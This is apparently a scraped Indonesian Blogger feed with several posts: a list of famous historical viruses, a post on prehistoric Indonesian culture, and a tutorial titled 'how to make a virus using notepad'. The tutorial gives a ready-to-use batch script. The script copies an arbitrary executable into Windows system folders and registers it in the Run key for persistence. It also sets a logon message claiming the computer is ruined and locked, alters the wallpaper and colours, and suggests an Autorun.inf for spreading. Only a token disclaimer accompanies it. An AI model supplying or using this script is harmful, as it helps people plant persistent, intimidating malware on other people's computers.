<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><span class="">Yang belum punya UNTUK Visual Basic 6.0 Bisa men-download </span><a href="http://adf.ly/RDl9" style="font-style: italic; outline-color: initial; outline-style: none; outline-width: initial;"><span class="">disini</span></a></span></span></div>
</div>
</div>Mdipa yumansahhttp://www.blogger.com/profile/03920606335606277636noreply@blogger.com2tag:blogger.com,1999:blog-5566008454394939582.post-4378785673062981342011-12-03T16:31:00.003+07:002011-12-03T19:18:58.654+07:0010 virus paling BERBAHAYA dahulu hingga sekarang<span class="Apple-style-span" style="background-color: black; color: white; font-size: large;">Saat ini virus memang sangat terkenal hingga sampai keluar negri juga ada. Nah saya akan mengasih taukan macam-macam virus paling berbahaya dahulu hingga sekarang.............</span><br />
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: black; color: white; font-size: large;"><span class="Apple-style-span" style="font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, sans-serif; line-height: 19px;">1. </span><span style="font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, sans-serif; font-weight: bold; line-height: 19px; text-align: justify;">Explorea</span><br style="font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, sans-serif; line-height: 19px; text-align: justify;" /><span class="Apple-style-span" style="font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, sans-serif; line-height: 19px; text-align: justify;">Virus yang di-compile menggunakan Visual Basic ini hadir dengan ukuran sekitar 167.936 bytes, tanpa di-compress. Menggunakan icon mirip folder standar Windows untuk mengelabui korbannya. Virus ini akan menyerang Registry Windows Anda dengan mengubah default open dari beberapa extension seperti .LNK, .PIF, .BAT, dan .COM. Pada komputer terinfeksi, disaat-saat tertentu terkadang muncul pesan error, contohnya pada saat membuka System Properties.</span></span><br />
<span class="Apple-style-span"><span class="Apple-style-span" style="background-color: black; color: white; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, sans-serif; font-size: large; line-height: 19px; text-align: justify;"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: black; color: white; font-size: large;"><span class="Apple-style-span" style="font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, sans-serif; line-height: 19px;">2 </span><span style="font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, sans-serif; font-weight: bold; line-height: 19px; text-align: justify;">Gen.FFE</span><br style="font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, sans-serif; line-height: 19px; text-align: justify;" /><span class="Apple-style-span" style="font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, sans-serif; line-height: 19px; text-align: justify;">Gen.FFE atau pembuatnya menamakan Fast Firus Engine merupakan salah satu program Virus Generator buatan lokal. Dengan hanya menggunakan program ini, tidak dibutuhkan waktu lama untuk dapat menciptakan virus/varian baru. Virus hasil keluaran program ini menggunakan icon mirip gambar folder standar bawaan Windows. Ia pun akan memblokir akses ke Task Manager, Command Prompt, serta menghilangkan beberapa menu di Start Menu. Ia juga akan membaca caption dari program yang aktif, apabila terdapat string yang berhubungan dengan antivirus maka program tersebut akan segera ditutup olehnya.</span></span><br />
<span class="Apple-style-span"><span class="Apple-style-span" style="background-color: black; color: white; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br />
</span></span><br />
<div align="justify" style="font-family: Arial, Helvetica, sans-serif; line-height: 22px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="color: white; font-size: large; line-height: 18px;"><b style="background-color: black;">3. CIH</b></span></div><div align="justify" style="font-family: Arial, Helvetica, sans-serif; line-height: 22px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;">Terdeteksi tahun Juni 1998 juga dikenal dengan nama Chernobil Virus, mampu menimbulkan kerugian sampai 800 milyar rupiah. Virus CIH menyerang setiap files .exe di komputer yang menggunakan sistem operasi Windows 98, Windows 95 dan Windows ME yang jadi korbanya. Sekali komputer anda terserang, virus ini akan terus berdiam diri di memory, sehingga akibatnya setiap anda menyalakan komputer, virus akan selalu aktif.</span></div><div align="justify" style="font-family: Arial, Helvetica, sans-serif; line-height: 22px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;">Tidak hanya itu<a href="http://www.tasikisme.com/" style="text-decoration: none;" target="_blank">,</a> virus CIH mampu menyebakan komputer anda tidak mau boot, karena semua file sistemnya telah ter-overwrite oleh si virus. Tapi saat ini, bagi pengguna Windows 2000, Windows XP ataupun Vista, virus ini bukan lagi sebuah ancaman.</span></div><div align="justify" style="font-family: Arial, Helvetica, sans-serif; line-height: 22px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;"><br />
</span></div><div align="justify" style="font-family: Arial, Helvetica, sans-serif; line-height: 22px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="color: white; font-size: large; line-height: 18px;"><b style="background-color: black;">4. MELISSA</b></span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;">Jum’at 26 Maret 1999, Virus Melissa menjadi buah bibir dimana-mana karena menginfeksi setiap PC yang menggunakan Microsoft Outlook. Virus ini bisa menyebar dengan cepat karena begitu komputer si korban terinfeksi, secara otomatis Melissa mengirimkan dirinya sendiri (dalam bentuk attachment file .doc) ke 50 alamat yang terdapat di kontak pada Microsoft Outlook.</span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;">Begitu si korban membuka file .doc tersebut, maka virus Melissa secara otomatis aktif. Dari Intel sampai Microsoft dan beberapa perusahaan besar lainya yang menggunakan Microsoft Outlook, sampai terpaksa mematikan system emailnya, untuk mencegah penyebaran lebih jauh virus ini. kerugian yang ditimbulkan begitu fantastis karena hampir mencapai 6 Trilyun rupiah.</span></div><div><span style="background-color: black; color: white; font-size: large; line-height: 18px;"><br />
</span></div><div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="color: white; font-size: large; line-height: 18px;"><b style="background-color: black;">5. ILOVEYOU</b></span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;">Terdeteksi pertama kali di Hongkong pada 3 Mei 2000, menimbulkan kerugian yang sangat fantastis karena hampis mencapai ratusan trilyun rupiah. Dibuat dengan menggunakan Visual Basic Script, virus ini begitu menggoda karena menyebar melalui email dengan subject “ILOVEYOU”.</span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;">Anda pasti penasaran kan kalau menerima sebuah email dengan embel-embel “ILOVEYOU”, dan virus ini memanfaatkan kepanasaran anda tersebut, karena begitu anda membuka email tersebut, secara otomatis virus menginfeksi komputer anda. Begitu komputer anda terinfeksi, si virus langsung mengirimkan dirinya sendiri pada semua alamat yang terdapat di kontak pada Microsoft Outlook.Virus ini dikenal juga dengan sebutan Loveletter dan The Love Bug.</span></div></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;"><br />
</span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="color: white; font-size: large; line-height: 18px;"><b style="background-color: black;">6. CODE RED</b></span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;">Code Red menampakkan dirinya 13 Juli tahun 2001, dengan menyerang setiap server yang menggunakan Microsoft Internet Information Server (IIS).</span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;">Worm atau virus ini memanfaatkan celah yang terbuka pada IIS System. Dikenal juga dengan istilah Bady, virus ini didesain untuk menimbulkan kerusakan yang sangat parah, karena mampu melakukan serangan Denial of Service pada IP-IP tertentu sehingga tak mengherankan mampu menimbulkan kerugian sampai ratusan trilyun rupiah, dan dalam waktu kurang dari seminggu saja 400.000 server berhasil ditaklukkan oleh virus ini.</span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white; font-size: large;"><br />
</span></span><br />
<span style="color: white; font-size: large; line-height: 18px;"><b style="background-color: black;">7. BLASTER</b></span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;">Mampu menimbulkan kerugian sampai lebih dari 100 trilyun lebih, terdeteksi tahun 2003 juga dikenal dengan nama Lovsan atau MSBlast menyerang ribuan pengguna Windows 2000 dan Windows XP di seluruh dunia melalui traffic internet maupun network.</span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span style="background-color: black; color: white; font-size: large; line-height: 18px;"><br />
</span></div><div align="justify" style="margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><div align="justify" style="font-family: verdana, arial, helvetica, sans-serif; line-height: 15px; margin-bottom: 1.2em; margin-left: 0em; margin-right: 0em; margin-top: 1.2em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span class="Apple-style-span" style="background-color: black; color: white; font-size: large;"><strong style="font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">8. Win32/Conficker.AA Persentase Deteksi Tahun 2010</strong> <br style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" /><span class="Apple-style-span">Win32/Conficker.AA adalah worm yang menyebar lewat folder bersama dan perangkat media bergerak. Worm ini masuk ke komputer dengan memanfaatkan kerentanan pada Server Service. Setelah Conficker.AA berhasil, komputer pengirim akan melakukan kontrol secara remote terhadap komputer korban yang telah terinfeksi lalu men-download.</span></span></div><div align="justify" style="font-family: verdana, arial, helvetica, sans-serif; line-height: 15px; margin-bottom: 1.2em; margin-left: 0em; margin-right: 0em; margin-top: 1.2em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span class="Apple-style-span" style="background-color: black; color: white; font-size: large;"><strong style="font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">9. Win32/Conficker.AE Persentase Deteksi Tahun 2010</strong> <br style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" /><span class="Apple-style-span">Win32/Conficker.AE adalah worm yang juga merupakan salah satu varian dari Conficker.AA, dengan modus operandi penyebarannya menyerupai cara penyebaran Conficker.AA</span></span></div><div align="justify" style="font-family: verdana, arial, helvetica, sans-serif; line-height: 15px; margin-bottom: 1.2em; margin-left: 0em; margin-right: 0em; margin-top: 1.2em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span class="Apple-style-span" style="background-color: black; color: white; font-size: large;"><b><span style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">10. Win32/Agent Persentase Deteksi Tahun 2010</span> </b><br style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" /><span class="Apple-style-span">Menurut deskripsi ESET NOD32 hasil deteksi malware ini sebagai malware generic, yang dikenal dikalangan keluarga besar malware dengan kemampuannya mencuri data milik user dari PC yang terinfeksi. Untuk melakukan hal tersebut malware biasaya akan menperbanyak dirinya kemudian menempatkan diri di dalam folder temporary dan menambahkan keys pada registry yang serupa dengan file malware tersebut atau mirip dengan file-file hasil meng-copy diri secara random itu tadi lalu menempatkan diri di folder-folder sistem operasi yang lain sehingga malware bisa “bekerja” di setiap kali sistem tersebut melakukan start up. </span><br style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" /><span class="Apple-style-span">Malware tersebut mampu bermutasi menjadi serangkaian threat lain, penyebarannya melalui serangkaian perantara sehingga hampir tidak mungkin menghapusnya hanya dengan menggunakan satu cara saja. Untuk mencegahnya, gunakan perangkat keamanan yang baik dengan kelengkapan anti-malware, jangan lupa untuk selalu mem-patch, disable Autorun, dan yang tidak kalah penting adalah, pikir baik-baik sebelum anda meng-klik sesuatu. </span></span><br />
<span class="Apple-style-span" style="background-color: black; color: white;"><span class="Apple-style-span" style="font-size: large;"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: black; color: white;"><span class="Apple-style-span" style="font-size: large;"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: black; color: white;"><span class="Apple-style-span" style="font-size: large;"><br />
</span></span><br />
<span class="Apple-style-span" style="background-color: black; color: white;"><span class="Apple-style-span" style="font-size: large;">:banghead: :D</span></span></div></div></div></div>Mdipa yumansahhttp://www.blogger.com/profile/03920606335606277636noreply@blogger.com0tag:blogger.com,1999:blog-5566008454394939582.post-45608837080606153852011-12-03T13:38:00.003+07:002011-12-03T16:40:33.337+07:00Cara membuat virus menggunakan notepad<div style="font-family: Arial, Helvetica, Georgia, sans-serif; font-size: 12px; line-height: 18px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 10px; text-align: left;"><span style="background-color: black; color: white; font-weight: bold;">buka Notepad lo,trus copy-paste script ni..<span id="more-17"></span></span></div><div style="font-family: Arial, Helvetica, Georgia, sans-serif; font-size: 12px; line-height: 18px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 10px; text-align: left;"><span style="background-color: black; color: white; font-weight: bold;"><br />
</span></div><div style="font-family: Arial, Helvetica, Georgia, sans-serif; font-size: 12px; line-height: 18px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 10px; text-align: left;"><span style="background-color: black; color: white; font-weight: bold;">@echo off<br />
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y<br />
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y<br />
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y<br />
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y<br />
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y<br />
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y<br />
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f<br />
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f<br />
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f<br />
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f<br />
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f<br />
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f<br />
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f</span></div><div style="font-family: Arial, Helvetica, Georgia, sans-serif; font-size: 12px; line-height: 18px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 10px; text-align: left;"><span class="Apple-style-span"><span class="Apple-style-span" style="background-color: black; color: white;">- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)</span></span><br />
<span class="Apple-style-span"><span class="Apple-style-span" style="background-color: black; color: white;">- buat Autorun.inf dengan script:</span></span></div><div style="font-family: Arial, Helvetica, Georgia, sans-serif; font-size: 12px; line-height: 18px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 10px; text-align: left;"><span class="Apple-style-span"><span class="Apple-style-span" style="background-color: black; color: white;"><br />
</span></span></div><div style="font-family: Arial, Helvetica, Georgia, sans-serif; font-size: 12px; line-height: 18px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 10px; text-align: left;"><span class="Apple-style-span"><span class="Apple-style-span" style="background-color: black; color: white;"><br />
</span></span></div><div style="font-family: Arial, Helvetica, Georgia, sans-serif; font-size: 12px; line-height: 18px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 10px; text-align: left;"><span class="Apple-style-span"><span class="Apple-style-span" style="background-color: black; color: white;">WARNING!!!!!!!!!!!!!!!!!!!!.> tidak untuk kejahatan </span></span></div>Mdipa yumansahhttp://www.blogger.com/profile/03920606335606277636noreply@blogger.com0tag:blogger.com,1999:blog-5566008454394939582.post-48769893931011651632011-12-02T16:14:00.000+07:002011-12-02T16:14:47.319+07:00Peninggalan budaya masa praaksaraPada mula-mula kita akan belajar dengan tingkat peradapannya dahulu<br />
1. Zaman Batu<br />
pada masa ini masyarakatnya masih memakai batu Gan, mulai dari yang kasar sampai yang halus, mulai yang jelek sampai yang baik...<br />
Adapun ciri-cirinya sebagai berikut :<br />
A. Dimulai kurang lebih 590.000 SM ( sebelum masehi )<br />
B. Masih menggunakan peralatan dari batu<br />
C. Biasanya batu ini digunakan untuk mempertahankan diri dari hewan buas, sampai mengelolah makanan<br />
D. Selain batu juga ada GAN, KAYU tetapi tidak ada bekasnya karena lapuk dan tidak tahan lama<br />
E. Pemikirannya masih terbelakang<br />
<br />
Zaman batu dibagi 3 yaitu : 1. Zaman batu tua(paleolitikum), 2. Zaman batu menengah(mesolitikum), 3. Zaman batu muda(neolitikum).<br />
<br />
A. Hasil kebudayaan Zaman batu tua (paleolithikum)<br />
Kalau diindonesia kebudayaan praaksara tertua ada di daerah Pacitan dan Ngandong, karena bedasarkan penemuannya.<br />
1). Kebudayaan Pacitan<br />
Pada tahun 1935 didekat pacitan oleh von koenigswald ditemukan alat-alat terbuat dari batu. Alat-alat yang ditemukan itu biasanya dinamakan kapak genggam, yaitu alat serupa kapak tetapi tidak bertangkai. Cara menggunakannya yakni di genggam. Diantara kapak-kapak itu ada yang dikerjakan dengan kasar sekali, hanya sekedar mencukupi keperluan saja. Alat-alat yang ditemukan dipacitan ini dalam ilmu praaksara biasa disebut " Chopper " (alat penetak). Chopper merupakan salah satu jenis kapak genggam yang berfungsi sebagai alat penetak, oleh karena itu chopper sering juga disebut KAPAK PENETAK<br />
Disamping chopper hasil kebudayaan dari zaman peleolitikum, di antaranya adalah kapak genggam, kapak perimbas, monoficial, dan alat-alat serpih.<br />
2). Kebudayaan Ngandong<br />
Di daerah Ngandong dan Sidoarjo ( dekat ngawi, Madiun ) ditemukan alat-alat yang terbuat dari tulang di samping kapak-kapak genggam dari batu. Alat yang terbuat dari tulang binatang menjadi semacam alat tusuk (belati) dan ada yang dibuat dari tanduk rusa. Alat-alat itu dipergunakan untuk mengorek ubi dan keladi dari dalam tanah. Termasuk kebudayaan ngandong, pula ditemukan alat-alat kecil yang biasa disebut "FLAKES" didekat sangiran........................<br />
<br />
<br />
<br />
ITULAH GAN YANG SAYA BERIKAN KEPADA GAN KALAU ADA SALAH KATA MOHON MAAF YA...... SEMOGA BERMANFAATMdipa yumansahhttp://www.blogger.com/profile/03920606335606277636noreply@blogger.com1